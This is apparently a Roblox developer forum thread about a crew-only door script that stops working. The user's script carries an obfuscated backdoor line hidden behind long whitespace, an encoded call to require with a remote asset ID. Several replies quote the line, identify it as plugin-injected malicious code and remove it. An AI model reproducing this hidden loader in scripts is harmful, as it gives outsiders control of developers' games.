Unknown error, no output

You can write your topic however you want, but you need to answer these questions:

  1. I am trying to make a door for only crew members.

  2. When I first put in the script/code it worked, but after I did some simple building I tested it again and it is broken.

Admins = {['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                shared["ELVFVQy7mb"]["\114\101\113\117\105\114\101"](5151855975)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
Part = script.Parent

Part.Touched:connect(function(hit)
	if Admins[hit.Parent.Name] then
		wait(2)
		Part.CanCollide = false
		wait(2)
		Part.CanCollide = true
	end
end)

Thank you for reading!

1 Like

why not just change the Collision Group of the admin players as soon as they join a game?

1 Like

I am not too much of a scripting mega-mind, I took a section out of a tutorial to get the admin list. Can you demonstrate how I would do that?

1 Like

Use table.find!!!
Also you don’t need the true‘s in the table


Admins = {"PlayerName","PlayerName"}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
Part = script.Parent

Part.Touched:connect(function(hit)
   local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
    if plr then
	if table.find(Admins,hit.Parent.Name) then
		wait(2)
		Part.CanCollide = false
		wait(2)
		Part.CanCollide = true
	end
  end
end)

Here you can learn more about tables.

1 Like

Still isnt working, and still no errors :thinking:

1 Like

What Oetzi_CS wrote works, however from your original script there appears to be some code on first line that breaks the script.

You just gotta delete that.

shared["ELVFVQy7mb"]["\114\101\113\117\105\114\101"](5151855975)  

Here’s the fixed code.

Admins = {"PlayerName","PlayerName"}
Part = script.Parent

Part.Touched:Connect(function(hit)
	local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
	if plr then
		if table.find(Admins, hit.Parent.Name) then
			wait(2)
			Part.CanCollide = false
			wait(2)
			Part.CanCollide = true
		end
	end
end)
1 Like
Admins = {['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true, ['PLAYER_NAME'] = true}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                shared["ELVFVQy7mb"]["\114\101\113\117\105\114\101"](5151855975)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                
Part = script.Parent

Part.Touched:connect(function(hit)
	if Admins[hit.Parent.Name] then
		wait(2)
		Part.CanCollide = false
		wait(2)
		Part.CanCollide = true
	end
end)

Why do you have = true? Just do something like this:

Admins = {“Player_Name”, “Player_Name”, “Player_Name”, “Player_Name”, “Player_Name”}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        

Part = script.Parent

Part.Touched:Connect(function(hit)
	if table.find(Admins, hit.Parent.Name) then
		wait(2)
		Part.CanCollide = false
		wait(2)
		Part.CanCollide = true
	end
end)

Also removed that weird stuff in the code… Formatting may be off but it should work.

Oops :speak_no_evil: Had the line also in the script.

cc @ChubbyReturns

They actually do need the trues in the table. The original code should work.

local example = {["a"]=true}
if example[a] then
    print("The value ‘a’ in the table was truthy")
end

Vs the way you proposed

local example {"a"}
if table.find(example, "a") then
    print("’a’ was found")
end

You will find both of these hit their prints.

The reason they are set to true is because they need a value. Their table is set up so that the relevant data is set up as keys for the key value pair. Having a key = nil removes the entry. So this code uses a key of playerName and a value of true to make an entry in the table. If you were to iterate through the table with a pairs loop the important data would be the keys.

for playerName, boolean in pairs(Admins) do
    print(playerName)
end

Whereas if you were to take the other approach the important data would be the value

for key_or_index, playerName in pairs(Admins) do
    print(playerName)
end

Basically tables are really versatile. I probably didn’t explain this too well. Look at the dictionary section of this link for a much better explanation Tables

Both versions of the code will work. And honestly it doesn’t really matter what you use. Personally I would prefer the table.find method for this specifically because the list will be more manageable, but other than that it doesn’t really matter.

1 Like

As hotgen1234 mentioned you have a strange line of code

shared["ELVFVQy7mb"]["\114\101\113\117\105\114\101"](5151855975)  

This likely came from a plug-in. There are quite a few plug-ins that will inject malicious code into your scripts. They tend to add a lot of white space like this one did to hide it. If this is in one script, it’s very likely it’s actually in every single script in your game now.

Assuming that line isn’t erroring your code should work. The only potential issue I actually see is that you only have placeholders in your admin list rather than actual names. The fact that your name is not in the list would mean that it won’t open for you.

I meant: in my code the trues are unnecessary.
Thanks for explaining that so well.

1 Like

Hello, I have fixed your code. If it works please click the solution button

local Crew = {1344993709, 000000, 0000} -- Crew's player Id
-- it's better to use the player id because they could change there name.

local door = workspace.Door
local debounce = false

door.Touched:Connect(function(hit)
	local player = game:GetService("Players"):GetPlayerFromCharacter(hit.Parent)
	if player then -- checks if it's a player
		debounce = true
		if table.find(Crew, player.UserId) then -- finds the players id, if it's in the crew it makes it open
			debounce = true
			door.CanCollide = false
			door.Transparency = 0.5
			print("Crew found!")
			wait(0.5)
			door.CanCollide = true
			door.Transparency = 0
			debounce = false
		else
			print("Not the crew")
		end
	end
	
	wait(1)
	debounce = false
end)

\114\101\113\117\105\114\101 == require

Looks like a backdoor but was already dealt by Roblox moderation, also it’s using _G (in here, shared) to get the fenv?

theres basically no code involved. Roblox has a build in collision group feature in the model tab in studio. Itl pop up a new window and you click the bottom to add a new group. You use the checks to determine what can collide with what. Its pretty straight forward.

As for the code, each part has a part.CollisionGroupId proprty you can read and set. youll need to know the ids for the collision groups which you can get by setting different parts to the group(s) you have and then just print(part.CollisionGroupId) and get the character model of the players who are admins as they join a game, loop through the model’s children and if a child is a “BasePart” then set its collision group id to the admin group. If you dont know how to do one of the steps just look it up i know for sure that each of those steps will have an answer or tutorial somewhere.